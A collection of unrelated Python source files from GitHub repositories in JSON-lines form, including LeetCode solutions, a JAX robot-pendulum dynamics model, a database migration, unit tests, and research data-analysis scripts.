{"seq_id":"4374400795","text":"\"\"\"Given a string s containing just the characters '(', ')', '{', '}', '[' and ']', determine if the input string is valid.\n\nAn input string is valid if:\n\nOpen brackets must be closed by the same type of brackets.\nOpen brackets must be closed in the correct order.\nEvery close bracket has a corresponding open bracket of the same type.\"\"\"\n\n\"\"\"Example 1:\n\nInput: s = \"()\"\nOutput: true\n\n# started with open parentheses and closes in a closed parentheses.\n# closed in the correct order.\n\nExample 2:\n\nInput: s = \"()[]{}\"\nOutput: true\n\n# parentheses, brackets, and curly braces are open and closed in the\n# correct order.\n\nExample 3:\n\nInput: s = \"(]\"\nOutput: false\n\n# the order is off, they don't match each other. \n \nConstraints:\n\n1 <= s.length <= 104\ns consists of parentheses only '()[]{}'.\"\"\"\n\n# O(n) = time complexity\n# O(n) = space complexity\n\n# solution\nclass Solution:\n# create a function called isValid\n    def isValid(self, s):\n# initiate list\n        parentheses_list = []\n# create map for close to open parentheses \n        close_to_open = { \")\" : \"(\", \"]\" : \"[\", \"}\" : \"{\"}\n# iterate through every character in the input string\n        for char in s:\n# if the character is in close_to_open map == closing parentheses\n            if char in close_to_open:\n# make sure our list is not empty\n# cannot add a closing parentheses to an empty list\n# check if the value at the top of our list is matching the opening parentheses\n                if parentheses_list and parentheses_list[-1] == close_to_open[char]:\n# if they match we can pop from our stack | removing an element at a specific position\n                    parentheses_list.pop()\n# if they don't match or the list is empty return false\n                else:\n                    return False\n# if we get an open parentheses, take the char and append it to list\n            else:\n                parentheses_list.append(char)\n# once we've gone through every char we can only return True\n# if our list is empty otherwise we return false \n        return True if not parentheses_list else False\n    \nif __name__ == \"__main__\":\n    test = Solution()\n    input = test.isValid(\"()[]{}\")\n    print(input)\n\n# time complexity = O(n)\n\"\"\"The time complexity of this algorithm is O(n), where n is the length of the input string. \nThis is because the algorithm iterates over each character in the string exactly once, \nand the operations performed within the loop (appending to and popping from a list) \nare constant time operations.\"\"\"\n","repo_name":"sharmaineb/tech-interview","sub_path":"validparentheses.py","file_name":"validparentheses.py","file_ext":"py","file_size_in_byte":2486,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"30091594348","text":"'''\nAuthor: Jerry9403 940341746@qq.com\nDate: 2023-03-02 01:10:14\nLastEditors: Jerry9403 940341746@qq.com\nLastEditTime: 2023-03-02 01:10:38\nFilePath: /leetcode/search-insert-position.py\nDescription: 这是默认设置,请设置`customMade`, 打开koroFileHeader查看配置 进行设置: https://github.com/OBKoro1/koro1FileHeader/wiki/%E9%85%8D%E7%BD%AE\n'''\ndef searchInsert(self, nums, target):\n        length = len(nums)\n        left = 0\n        right = length\n\n        while(left < right - 1):\n            cpm = (left + right) // 2\n            if target == nums[cpm]:\n                return cpm\n            elif target > nums[cpm]:\n                left = cpm               \n            else:\n                right = cpm\n\n\n        if target <= nums[left]:\n            return left\n        else:\n            return right\n        \n        # 仍然是简单的二分查找","repo_name":"JerryW1120/leetcode","sub_path":"search-insert-position.py","file_name":"search-insert-position.py","file_ext":"py","file_size_in_byte":870,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"17115626154","text":"\"\"\"Pendulum Swing-up Environment with full observation.\"\"\"\nimport numpy as np\nfrom mbse.models.reward_model import RewardModel\nfrom mbse.models.dynamics_model import DynamicsModel\nfrom gym.envs.classic_control.pendulum import angle_normalize\nimport jax.numpy as jnp\nimport jax\nfrom functools import partial\nfrom typing import Union, Optional, Any\nfrom mbse.utils.type_aliases import ModelProperties\n\nfrom pyur5.models.ens_model import EnsembleModel\nimport math\n\n\nclass Ur5PendulumDynamicsModel(DynamicsModel):\n    def __init__(self, task_typ='new', use_cos=True, ctrl_cost_weight=0.001, sparse=False, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n\n        self.use_cos = use_cos\n        self.task_typ = task_typ\n        self.model = EnsembleModel(use_cos=use_cos, task_typ=task_typ)\n        self.max_action = self.model.action_max\n        self.min_action = self.model.action_min\n        self.n_action = self.model.n_action\n        self.n_obs = self.model.n_obs\n\n        # TODO: Maybe think of punishing v_ee to be zero as well\n        self.target_state = self.model.target_state #jnp.array([math.pi, 0]) # target state to be theta = pi/2, theta_dot = 0 \n        self.cost_weights = self.model.cost_weights[:-self.n_action] #jnp.array([1, 0.1]) # weight for theta and theta_dot\n\n        # self.reward_model = Ur5PendulumReward(self.action_space, self.target_state, self.cost_weights, sparse=sparse)\n        \n        self.pred_diff = False \n        self.obs_dim = self.model.x_dim #observation\n        self.obs_space = self.model.obs_space\n\n        print(\"model: \", self.model)\n    def set_bounds(self, max_action, min_action=None):\n        self.max_action = max_action\n        if min_action is None:\n            min_action = - max_action\n        self.min_action = min_action\n        self._init_fn()\n        \n    @partial(jax.jit, static_argnums=0)\n    def predict(self,\n                obs,\n                action,\n                rng=None,\n                parameters=None,\n                model_props: ModelProperties = ModelProperties(),\n                sampling_idx: Optional[Union[jnp.ndarray, int]] = None,\n                rescaled: bool = False,\n                ):\n        '''\n            internal function to predict next state\n        '''\n        u = jnp.clip(action, self.min_action, self.max_action) # action is assumed to be in the range of [-1, 1]\n        next_obs, reward, terminate, output_dict = self.model.step(obs, u)\n        \n        return next_obs\n\n    def reset(self):\n        '''\n            return the initial observation\n        '''\n        if self.task_typ == 'new':\n            if self.use_cos:\n                obs = jnp.array([1.0, 0.0, 0.0] + [0.0, 0.0] * self.n_obs)\n            else:\n                obs = jnp.array([0.0, 0.0] + [0.0, 0.0] * self.n_obs)\n        elif self.task_typ == 'sim':\n            obs = jnp.array([1.0, 0.0, 0.0])\n\n        return obs\n\n    def evaluate(self,\n                 obs,\n                 action,\n                 rng=None,\n                 parameters=None,\n                 sampling_idx=None,\n                 model_props: ModelProperties = ModelProperties(),\n                 rescaled: bool = False,\n                 ):\n        '''\n            function to evaluate next state and reward\n        '''\n        # action here is assumed to be in the range of [-1, 1]\n        # next_obs = self.predict(obs, action, rng, rescaled=False)\n        # reward = self.model._reward_fn() #self.reward_model.predict(obs, action, next_obs)\n        # return next_obs, reward\n        next_obs, reward, _, _ = self.model.step(obs, action)\n        return next_obs, reward\n\n    # @staticmethod\n    # @jax.jit\n    # def _get_obs(state):\n    #     theta, theta_dot, p_ee, v_ee = state[..., 0], state[..., 1], state[..., 2], state[..., 3]\n    #     return jnp.asarray([theta, theta_dot, p_ee, v_ee], dtype=jnp.float32)\n\n\n    # @partial(jax.jit, static_argnums=0)\n    # def rescale_action(self, action):\n    #     \"\"\"Rescales the action affinely from  [:attr:`min_action`, :attr:`max_action`] to the action space of the base environment, :attr:`env`.\n\n    #     Args:\n    #         action: The action to rescale\n\n    #     Returns:\n    #         The rescaled action\n    #     \"\"\"\n    # #     action = jnp.clip(action, self.min_action, self.max_action)\n    #     low = self.model.action_space.low\n    #     high = self.model.action_space.high\n    #     action = low + (high - low) * (\n    #             (action - self.min_action) / (self.max_action - self.min_action)\n    #     )\n    #     action = jnp.clip(action, low, high)\n    #     return action\n\n\n# class Ur5PendulumReward(RewardModel):\n#     \"\"\"Get Pendulum Reward.\"\"\"\n\n#     def __init__(self, action_space, target_sate, cost_weights, ctrl_cost_weight=0.001, sparse=False, *args, **kwargs):\n#         super().__init__(*args, **kwargs)\n#         self.ctrl_cost_weight = ctrl_cost_weight\n#         self.sparse = sparse\n#         self.min_action = min_action\n#         self.max_action = max_action\n#         self.action_space = action_space \n#         self.target_state = target_state\n#         self.cost_weights = cost_weights\n#         self._init_fn()\n\n#         print(\"target state: {}\".format(self.target_state))\n#         print(\"cost weights: {}\".format(self.cost_weights))\n#         print(\"reward action space: {}\".format(self.action_space))\n\n#     def _init_fn(self):\n#         # rescale actions from [-1, 1] to [min_action, max_action]\n#         self.rescale_action = jax.jit(lambda action: self._rescale_action(action=action,\n#                                                                           min_action=self.min_action,\n#                                                                           max_action=self.max_action,\n#                                                                           low=self.action_space.low,\n#                                                                           high=self.action_space.high,\n#                                                                           ))\n#         self.input_cost = jax.jit(lambda u: self._input_cost(u=u, ctrl_cost_weight=self.ctrl_cost_weight))\n\n#         def predict(obs, action, next_obs=None, rng=None):\n#             # return self.model._reward_fn(obs, action)\n#             return self._predict(\n#                 state_reward_fn=self.state_reward,\n#                 input_cost_fn=self.input_cost,\n#                 action_transform_fn=self.rescale_action,\n#                 obs=obs,\n#                 action=action,\n#                 target_state=self.target_state,\n#                 cost_weights=self.cost_weights,\n#                 next_obs=next_obs,\n#                 rng=rng\n#             )\n\n#         self.predict = jax.jit(predict)\n\n#     def set_bounds(self, max_action, min_action=None):\n#         self.max_action = max_action\n#         if min_action is None:\n#             min_action = - max_action\n#         self.min_action = min_action\n#         self._init_fn()\n\n#     @staticmethod\n#     @jax.jit\n#     def state_non_sparse_reward(theta, theta_dot, p_ee, v_ee, target_state, cost_weights):\n#         \"\"\"Get sparse reward.\"\"\"\n#         theta = angle_normalize(theta)\n#         dtheta = theta - target_state[0]\n#         dtheta = angle_normalize(dtheta)\n#         dtheta_dot = theta_dot - target_state[1]\n#         cost = cost_weights[0] * (dtheta)**2 + cost_weights[1] * (dtheta_dot)**2 \n#         return -cost \n\n#     @staticmethod\n#     def _input_cost(u, ctrl_cost_weight):\n#         # compute the |u|^2 * w \n#         return ctrl_cost_weight * (jnp.sum(jnp.square(u), axis=-1))\n\n#     @staticmethod\n#     @jax.jit\n#     def state_reward(state, target_state, cost_weights):\n#         # TODO: This is outdated. NEED MODIFICATION!!\n#         \"\"\"Compute reward associated with state dynamics.\"\"\"\n#         # print(\"state shape: {}\".format(state.shape))\n#         # if state.shape[0] == 5:\n#         if state.shape == (5,):\n#             cos, sin, theta_dot, p_ee, v_ee = state[..., 0], state[..., 1], state[..., 2], state[..., 3], state[..., 4]\n#             theta = jnp.arctan2(sin, cos)\n#         else:\n#             theta, theta_dot, p_ee, v_ee = state[..., 0], state[..., 1], state[..., 2], state[..., 3]\n        \n#         theta = angle_normalize(theta)\n#         dtheta = theta - target_state[0]\n#         dtheta = angle_normalize(dtheta) # normalize the angle to [-pi, pi]\n#         dtheta_dot = theta_dot - target_state[1]\n#         print(\"dtheta: {}\".format(dtheta))\n#         print(\"dtheta_dot: {}\".format(dtheta_dot))\n#         cost = cost_weights[0] * (dtheta)**2 + cost_weights[1] * (dtheta_dot)**2 \n\n#         # the reward is to make sure that we are\n#         return -cost\n\n#     @staticmethod\n#     def _predict(state_reward_fn, input_cost_fn, action_transform_fn, obs, action, target_state, cost_weights, next_obs=None, rng=None, action_rng=[-1, 1]):\n#         # action = action_transform_fn(action) # transform the action to the normal range\n#         action = jnp.clip(action, action_rng[0], action_rng[1]) # clip to [-1, 1]\n#         return state_reward_fn(state=obs, target_state=target_state, cost_weights=cost_weights) - input_cost_fn(action)\n\n#     def evaluate(self,\n#                  parameters,\n#                  obs,\n#                  action,\n#                  rng,\n#                  sampling_idx=None,\n#                  model_props: ModelProperties = ModelProperties()):\n#         print(\"Ur5DynamicsReward evaluate called\")\n#         next_state = self.predict(obs=obs, action=action, rng=rng)\n#         print(\"next_state is : \", next_state)\n#         reward = jnp.zeros(next_state.shape[0])\n#         return next_state, reward\n\n#     @staticmethod\n#     def _rescale_action(action, min_action, max_action, low, high):\n#         \"\"\"\n#         Args:\n#             action: The action to rescale\n\n#         Returns:\n#             The rescaled action\n#         \"\"\"\n#         # if min_action is not None and max_action is not None:\n#         #     action = jnp.clip(action, min_action, max_action)\n#         #     action = low + (high - low) * (\n#         #             (action - min_action) / (max_action - min_action)\n#         #     )\n#         #     action = jnp.clip(action, low, high)\n#         return action\n","repo_name":"bizoffermark/mbse","sub_path":"mbse/models/ur5_dynamics_model.py","file_name":"ur5_dynamics_model.py","file_ext":"py","file_size_in_byte":10258,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"74169624422","text":"\"\"\"Add member table\n\nRevision ID: ee2d279cae47\nRevises: e0e586eec464\nCreate Date: 2020-09-30 11:19:13.281166\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'ee2d279cae47'\ndown_revision = 'e0e586eec464'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n    op.create_table(\n        'member',\n        sa.Column('id', sa.Integer(), primary_key=True, index=True),\n        sa.Column('group_id', sa.Integer(), sa.ForeignKey(\"group.id\", ondelete=\"CASCADE\"), index=True, nullable=False),\n        sa.Column('user_id', sa.Integer(), sa.ForeignKey(\"user.id\", ondelete=\"CASCADE\"), index=True, nullable=False),\n        sa.Column('role', sa.Integer(), default=0, nullable=False),\n        sa.Column('is_active', sa.Boolean(), default=False, nullable=False),\n        sa.Column('created_at', sa.DateTime(), default=sa.sql.func.now(), nullable=False),\n        sa.Column('updated_at', sa.DateTime(), default=sa.sql.func.now(), onupdate=sa.sql.func.now(), nullable=False),\n    )\n\n\ndef downgrade():\n    op.drop_table('member')\n","repo_name":"BodenmillerGroup/histocat-web","sub_path":"backend/alembic/versions/20200930111913_ee2d279cae47_add_member_table.py","file_name":"20200930111913_ee2d279cae47_add_member_table.py","file_ext":"py","file_size_in_byte":1071,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"36"}
{"seq_id":"26238465414","text":"import numpy as np\nimport pytest\n\nimport pyswallow as ps\nimport pyswallow.handlers.boundary_handler as psbh\n\n\nclass TestMOSwallow:\n\n    @pytest.fixture\n    def swallow(self):\n        bounds = {\n            'x0': [-50.0, 50.0],\n            'x1': [-50.0, 50.0]\n        }\n\n        swallow = ps.MOSwallow(bounds, n_obj=2)\n        return swallow\n\n    @pytest.fixture\n    def opp_swallow(self):\n        bounds = {\n            'x0': [-50.0, 50.0],\n            'x1': [-50.0, 50.0]\n        }\n\n        opp_swallow = ps.MOSwallow(bounds, n_obj=2)\n        return opp_swallow\n\n    def test_move(self, swallow):\n        swallow.position = np.array([0.0, 0.0])\n        swallow.velocity = np.array([10.0, 10.0])\n\n        bh = psbh.StandardBH()\n        swallow.move(bh)\n\n        assert np.array_equal(swallow.position, swallow.velocity)\n\n    def test_dominate(self, swallow, opp_swallow):\n        opp_swallow.fitness = [50.0, 50.0]\n        swallow.fitness = [5.0, 5.0]\n\n        ret_bool = swallow.dominate(opp_swallow)\n\n        assert ret_bool\n\n    def test_self_dominate(self, swallow):\n        swallow.fitness = [5.0, 5.0]\n        swallow.pbest_fitness = [50.0, 50.0]\n\n        ret_bool = swallow.self_dominate()\n\n        assert ret_bool\n","repo_name":"danielkelshaw/PySwallow","sub_path":"tests/swallows/test_mo_swallow.py","file_name":"test_mo_swallow.py","file_ext":"py","file_size_in_byte":1222,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"36"}
{"seq_id":"3201746572","text":"from Graph import *\nfrom AStar import *\n\nA = LocationNode('A', 1, 4)\nB = LocationNode('B', 3, 4)\nC = LocationNode('C', 2, 2)\nD = LocationNode('D', 4, 2)\nS = LocationNode('S', 4, 1)\nE1 = WeightedEdge(A, B, EuclideanDistance(A, B))\nE2 = WeightedEdge(B, C, EuclideanDistance(B, C))\nE3 = WeightedEdge(B, D, EuclideanDistance(B, D))\n# E4 = WeightedEdge(B, S, euclideanDistance(B, S))\nE5 = WeightedEdge(C, S, EuclideanDistance(C, S))\nE6 = WeightedEdge(D, S, EuclideanDistance(D, S))\n\nedgeList = [E1, E2, E3, E6, E5]\nSetEdgeList(edgeList)\nSetHeuristicDistanceFunc(EuclideanDistance)\nsolution = GetShortestPath(A, S)\n\nfor node in solution:\n    print(node)","repo_name":"wildansupernova/AStar-Algorithm-with-Google-Maps-API","sub_path":"src/AStar_test.py","file_name":"AStar_test.py","file_ext":"py","file_size_in_byte":647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"18045841662","text":"# logger.py - Set up a4h logging (sending trace output to stdout)\n# 1. In main script...\n#     start_log(logging.INFO)  # Call this once\n# 2. In specific module...\n#     import logging\n#     ...\n#     log = logging.getLogger('a4h')\n#     ...\n#     log.info('Listening on port:'+str(port))\n#     ...\n#     log.debug('SomeVar='+str(SomeVar))\n\nimport logging\n\n\ndef start_log(level, full_meta=False):\n    \"\"\"Create a unified a4h logger\"\"\"\n\n    # Create a single logger to be used by all\n    new_log = logging.getLogger('a4h')\n    new_log.setLevel(level)\n\n    # Create a console handler\n    ch = logging.StreamHandler()\n    ch.setLevel(level)\n    ch.setFormatter(logging.Formatter('%(message)s [%(filename)s:%(lineno)d]'))\n    new_log.addHandler(ch)\n\n    if full_meta:\n        # Add more context info to end of each log line\n        ch.setFormatter(logging.Formatter(\n            '\"%(message)s\"'\n            + ',%(processName)s(%(process)d)'\n            + ',%(threadName)s(%(thread)d)'\n            + ',%(module)s:%(pathname)s:%(funcName)s:%(lineno)d'\n            + ',%(asctime)s'\n            + ',%(levelname)s')\n        )\n","repo_name":"hmdmia/HighSpeedRL","sub_path":"backend/utils/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":1117,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"20006354019","text":"\"\"\"\n\n\n@Time    : 6/15/21\n@Author  : Wenbo\n\"\"\"\n\n\nimport pandas as pd\nimport os\n\ndef read_jiahao_data(filename, is_only_vul=0):\n    df = pd.read_csv(filename)\n    df = df.fillna('')\n    if is_only_vul == 1:\n        df = df[ df['vul'] == 1]\n    projects = {}\n    for index, row in df.iterrows():\n        proj = row['project'].lower().strip()\n        cve_id = row['CVE ID'].strip()\n        if proj == \"\" or cve_id == \"\":\n            continue\n\n        dd = {\n            'func_name': row['func_name'].strip()+\"()\",\n            'file_name': \"./\" + row['file_name'].strip(),\n            'commit_id': row['commit_id'],\n            'callee_num': int(row['callee_num']) if row['callee_num'] != '' else 0,\n            'caller_num': int(row['caller_num']) if row['caller_num'] != '' else 0,\n        }\n\n        if proj not in projects.keys():\n            projects[proj] = {}\n\n        if cve_id not in projects[proj].keys():\n            projects[proj][cve_id] = []\n\n        projects[proj][cve_id].append(dd)\n\n    return projects\n\ndef to_jiahao_data(jiahao_data, to_file):\n    project_list = []\n    cve_count_all_list = []\n    cve_count_cc_list = []\n    total_changed_functions_list = []\n    total_changed_functions_cc_list = []\n    total_callers_list = []\n    total_callees_list = []\n    for p in jiahao_data.keys():\n        cves = jiahao_data[p]\n\n        cve_count_all = len(cves.keys())\n        cve_count_cc = 0\n\n        total_changed_functions_all = 0\n        total_changed_functions_cc = 0\n\n        total_callers = 0\n        total_callees = 0\n\n        for cve_id in cves.keys():\n            functions = cves[cve_id]\n\n            total_changed_functions_all += len(functions)\n\n            cve_has_cc = False\n            for func in functions:\n                total_callers += func['caller_num']\n                total_callees += func['callee_num']\n                if func['caller_num'] > 0 or func['callee_num'] > 0:\n                    cve_has_cc = True\n                    total_changed_functions_cc += 1\n            if cve_has_cc:\n                cve_count_cc += 1\n\n\n        project_list.append(p)\n        cve_count_all_list.append(cve_count_all)\n        cve_count_cc_list.append(cve_count_cc)\n\n        total_changed_functions_list.append(total_changed_functions_all)\n        total_changed_functions_cc_list.append(total_changed_functions_cc)\n\n        total_callers_list.append(total_callers)\n        total_callees_list.append(total_callees)\n\n    df = pd.DataFrame({\n        'project': project_list,\n        'cve_count(has commits)': cve_count_all_list,\n        'cve_count(has callers or callees)': cve_count_cc_list,\n        'total_functions(all changed)': total_changed_functions_list,\n        'total_functions(has callers or callees)': total_changed_functions_cc_list,\n        'total_callers': total_callers_list,\n        'total_callees': total_callees_list\n    })\n    df.to_csv(to_file, index=False)\n    print(\"saved to %s\" % to_file)\n\n\ndef read_wenbo_data(filename):\n    df = pd.read_csv(filename)\n    df = df.fillna('')\n    projects = {}\n    for index, row in df.iterrows():\n        proj = row['project'].lower().strip()\n        cve_id = row['cve_id'].strip()\n        if proj == \"\" or cve_id == \"\":\n            continue\n\n        dd = {\n            'func_name': row['func_name'],\n            'file_name': row['file_name'],\n            'commit_id': row['commit_id'],\n            'callee_num': int(row['callees_total_before']) if row['callees_total_before'] != '' else 0,\n            'caller_num': int(row['callers_total_before']) if row['callers_total_before'] != '' else 0,\n        }\n\n        if proj not in projects.keys():\n            projects[proj] = {}\n\n        if cve_id not in projects[proj].keys():\n            projects[proj][cve_id] = []\n\n        projects[proj][cve_id].append(dd)\n\n    return projects\n\n\ndef compare(jh_data, wb_data, to_file, jiahao_succ_cve_id_list):\n    project_list = []\n    cve_count_all_list = []\n    cve_count_cc_list = []\n    total_changed_functions_list = []\n    total_changed_functions_cc_list = []\n    total_callers_list = []\n    total_callees_list = []\n    total_commits_list = []\n\n    is_new_project_list = []\n    new_functions_list = []\n    new_functions_cc_list = []\n    new_cves_list = []\n    new_cves_cc_list = []\n    new_commits_list = []\n\n    new_cves_unique = [] # 这里记一下相比 jiahao，我新找到的 cve 的。\n    new_cves_cc_unique = [] # 这里记一下相比 jiahao，我新找到的有 cc 的 cve。\n\n\n    for p in wb_data.keys():\n        cves = wb_data[p]\n\n        cve_count_all = len(cves.keys())\n        cve_count_cc = 0\n\n        total_changed_functions_all = 0\n        total_changed_functions_cc = 0\n\n        total_callers = 0\n        total_callees = 0\n        total_commits = 0\n\n\n        new_funcs_count = 0    # new functions\n        new_funcs_cc_count = 0 # new functions and has callers or callees\n\n        new_cves_count = 0    # new cves\n        new_cves_cc_count = 0 # new cves and has callers or callees\n\n        new_commits_count = 0\n\n        # 判断是否是新 project\n        is_new_proj = 0\n        if p not in jh_data.keys():\n            is_new_proj = 1\n\n        for cve in cves.keys():\n            # 判断是否是新 cve\n            is_new_cve = 0\n            if is_new_proj:\n                is_new_cve = 1\n            else:\n                if cve not in jh_data[p].keys():\n                    is_new_cve = 1\n\n            jh_func_names = []\n            jh_commits = []\n            if p in jh_data.keys() and cve in jh_data[p].keys():\n                jh_funcs = jh_data[p][cve]\n                for ff in jh_funcs:\n                    if ff['func_name'] not in jh_func_names:\n                        jh_func_names.append(ff['func_name'])\n                    if ff['commit_id'] not in jh_commits:\n                        jh_commits.append(ff['commit_id'])\n\n\n            functions = cves[cve]\n\n            total_changed_functions_all += len(functions)\n\n            cve_has_cc = False\n            commits_visted = []\n            for func in functions:\n                # 判读是否是 新 function\n                is_new_func = 0\n                if is_new_proj or is_new_cve:\n                    is_new_func = 1\n                if not is_new_cve and func['func_name'] not in jh_func_names:\n                    is_new_func = 1\n\n                total_callers += func['caller_num']\n                total_callees += func['callee_num']\n                if func['caller_num'] > 0 or func['callee_num'] > 0:\n                    cve_has_cc = True\n                    total_changed_functions_cc += 1\n                    if is_new_func:\n                        new_funcs_cc_count += 1\n\n                # 判断是否是新 commit\n                if not is_new_cve and func['commit_id'] not in commits_visted and func['commit_id'] not in jh_commits:\n                    new_commits_count += 1\n                    commits_visted.append(func['commit_id'])\n\n                if is_new_cve and func['commit_id'] not in commits_visted:\n                    new_commits_count += 1\n                    commits_visted.append(func['commit_id'])\n\n                if func['commit_id'] not in commits_visted:\n                    commits_visted.append( func['commit_id'] )\n\n                if is_new_func:\n                    new_funcs_count += 1\n\n\n            if cve_has_cc:\n                cve_count_cc += 1\n            if is_new_cve:\n                new_cves_count += 1\n                if cve not in new_cves_unique:\n                    new_cves_unique.append(cve)\n            if cve_has_cc and cve not in jiahao_succ_cve_id_list:\n                new_cves_cc_count += 1\n                if cve not in new_cves_cc_unique:\n                    new_cves_cc_unique.append(cve)\n            total_commits += len(commits_visted)\n\n        project_list.append(p)\n        cve_count_all_list.append(cve_count_all)\n        cve_count_cc_list.append(cve_count_cc)\n\n        total_changed_functions_list.append(total_changed_functions_all)\n        total_changed_functions_cc_list.append(total_changed_functions_cc)\n\n        total_callers_list.append(total_callers)\n        total_callees_list.append(total_callees)\n        total_commits_list.append(total_commits)\n\n        is_new_project_list.append(is_new_proj)\n        new_functions_list.append(new_funcs_count)\n        new_functions_cc_list.append(new_funcs_cc_count)\n\n        new_cves_list.append(new_cves_count)\n        new_cves_cc_list.append(new_cves_cc_count)\n\n        new_commits_list.append(new_commits_count)\n\n    df = pd.DataFrame({\n        'project': project_list,\n        'cve_count(has commits)': cve_count_all_list,\n        'cve_count(has callers or callees)': cve_count_cc_list,\n        'total_functions(all changed)': total_changed_functions_list,\n        'total_functions(has callers or callees)': total_changed_functions_cc_list,\n        'total_callers': total_callers_list,\n        'total_callees': total_callees_list,\n        'total_commits': total_commits_list,\n\n        'is_new_project': is_new_project_list,\n        'new_functions': new_functions_list,\n        'new_functions(has callers or callees)': new_functions_cc_list,\n        'new_cves': new_cves_list,\n        'new_cves(has callers or callees)': new_cves_cc_list,\n        'new_commits': new_commits_list,\n    })\n    df.to_csv(to_file, index=False)\n    print(\"saved to %s\" % to_file)\n    print(\"new_cves_cc_unique: %d\" % len(new_cves_cc_unique))\n    print(\"new_cves_unique: %d\" % len(new_cves_unique))\n\n\n\nif __name__ == '__main__':\n    jiahao_file = \"jiahao_data_with_func_name_no_code.csv\"\n    to_jiahao_file = \"jiahao_data_project_level.csv\"\n\n    wenbo_file = \"wenbo_data_with_commit_message2.csv\"\n    to_wenbo_file = \"wenbo_data_project_level_v2.csv\"\n\n    # df = pd.read_csv(wenbo_file)\n    # print(len(df['cve_id'].unique()))\n    # exit()\n\n    all_jiahao_cves = []\n    df1 = pd.read_csv(jiahao_file)\n    df1_succ = df1[(df1['callee_num'] > 0) | (df1['caller_num'] > 0)]\n    jiahao_succ_cve_id_list = list(df1_succ['CVE ID'].unique())\n\n    jiahao_data = read_jiahao_data(jiahao_file)\n    if not os.path.exists(to_jiahao_file):\n        to_jiahao_data(jiahao_data, to_jiahao_file)\n\n    wenbo_data = read_wenbo_data(wenbo_file)\n    compare(jiahao_data, wenbo_data, to_wenbo_file, jiahao_succ_cve_id_list)\n    pass","repo_name":"Woffee/dlvp","sub_path":"compare_caller_callee/compare2.py","file_name":"compare2.py","file_ext":"py","file_size_in_byte":10277,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"42820034128","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport sys,os\nimport pickle\nimport csv\n\n# PREAMBLE\ndef validate_input():\n\tif len(sys.argv) != 4:\n    \t\tprint(\"Usage: python {} ANALYZED_DATA_FILE EPSILON LABEL\".format(sys.argv[0]))\n    \t\tsys.exit(2)\n\treturn sys.argv[1], float(sys.argv[2]), sys.argv[3]\n\ndef binning_analysis(O,k):\n\t# determine number of blocks\n        noBlocks = len(O)//k\n        N = k*noBlocks\n        \n        # Compute block averages\n        O = np.array(O)\n        Osplit = np.split(O[0:N],noBlocks)\n        bas = np.mean(Osplit,axis=1)\n \n        # Calculate block average and variance\n        blockAvg = np.mean(bas)\n        blockVar = np.var(bas)\n        # Calculate block error\n        blockError = np.sqrt(blockVar/noBlocks)\n\n      \t# Calculate average and variance of measurements\n        Oavg = np.mean(O)\n        Ovar = np.var(O)\n\n      \t# Calculate estimated autocorrelation time and effective statistics\n        if Ovar > 0:\n               \ttINTo = k*blockVar/(2*Ovar)\n        else:\n                tINTo = float('nan') \n        if tINTo > 0:\n                Neff = N/(2*tINTo)\n        else:\n                Neff = float(\"nan\")\n        return Oavg, tINTo, Neff, blockError\n\ndef perform_binning_analysis(O):\n    N = len(O)      \n    \n    # Initialize variables for tracking data\n    Neff = 0.0\n    blockError = 0.0\n    tINTo = 0.0     \n\n    for i in range(N//10):\n        k = i+1\n        Oavg, tINToNew, NeffNew, blockErrorNew = binning_analysis(O,k)\n        if tINToNew > tINTo:\n            Neff = NeffNew\n            blockError = blockErrorNew\n            tINTo = tINToNew\n    data = [Oavg,tINTo,Neff,blockError]\n    return data\n\n# Load and organize data\ndatafile, epsilon, label = validate_input()\ndata = pickle.load(open(datafile,\"r\"))\n\ndef plot_ac(data,epsilon,label):\n\tTs = [i[0] for i in data] \n\n\ta = np.array([i[5][0] for i in data])/8 # [angstrom]\n\tc = np.array([i[7][0] for i in data])/4 # [angstrom]\n\ta_err = np.array([i[5][3] for i in data])/8 # [angstrom]\n\tc_err = np.array([i[7][3] for i in data])/4 # [angstrom]\n\n\n\tm_a,b_a = np.polyfit(Ts,a,1)\n\tm_c,b_c = np.polyfit(Ts,c,1)\n\tx = np.linspace(Ts[0],Ts[-1],100)\n\n\t# Print\n\tprint(\"a:\")\n\tprint(\"Slope: {}\".format(m_a))\n\tprint(\"Intercept: {}\".format(b_a))\n\tprint(\"c:\")\n\tprint(\"Slope: {}\".format(m_c))\n\tprint(\"Intercept: {}\".format(b_c))\n\n\tplt.errorbar(Ts,a,yerr=a_err,fmt='-o',label=\"a\")\n\tplt.errorbar(Ts,c,yerr=c_err,fmt='-o',label=\"c\")\n\tplt.plot(x,m_a*x+b_a,label=\"a fit\")\n\tplt.plot(x,m_c*x+b_c,label=\"c fit\")\n# Plot\nplt.figure()\nplt.title(\"Lattice Constants\")\nplot_ac(data,epsilon,label)\nplt.legend()\nplt.show()\n\n\n","repo_name":"gvermillion/research","sub_path":"anal/lattice_constants.py","file_name":"lattice_constants.py","file_ext":"py","file_size_in_byte":2607,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"5274480177","text":"import hypergraph as hg\n\ngraph1 = hg.Graph()\nwith graph1.as_default():\n    d = hg.input_all().as_dict()\n    hg.output() << [d.keys(), d.values(), d.items()]\n\nctx = hg.ExecutionContext()\nwith ctx.as_default():\n    print(graph1({'a': 1, 'b': 2}))\n","repo_name":"sflinter/hypergraph","sub_path":"examples/basic/pseudo_dict1.py","file_name":"pseudo_dict1.py","file_ext":"py","file_size_in_byte":245,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"}
